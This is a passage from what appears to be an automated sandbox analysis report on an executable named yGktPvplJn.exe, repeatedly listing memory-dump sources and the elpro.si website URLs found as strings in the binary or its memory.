00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/podrocje-uporabe/vlaga/
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/privacy-policy/
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/wp-admin/admin-ajax.php
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/wp-content/uploads/2020/02/Elpro_E-64x64.png
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/wp-content/uploads/2020/02/Elpro_E.png
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/wp-content/uploads/2020/02/ICO-75-Analiza-plinov.svg
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/wp-content/uploads/2020/02/ICO-75-Kalibracija.svg
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/wp-content/uploads/2020/02/ICO-75-Nivo.svg
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/wp-content/uploads/2020/02/ICO-75-Regulacija.svg
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/wp-content/uploads/2020/02/ICO-75-Temperatura.svg
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/wp-content/uploads/2020/02/ICO-75-Tlak.svg
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/wp-content/uploads/2020/02/ICO-75-Vlaga.svg
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/wp-content/uploads/2020/02/LOGO-Header.svg
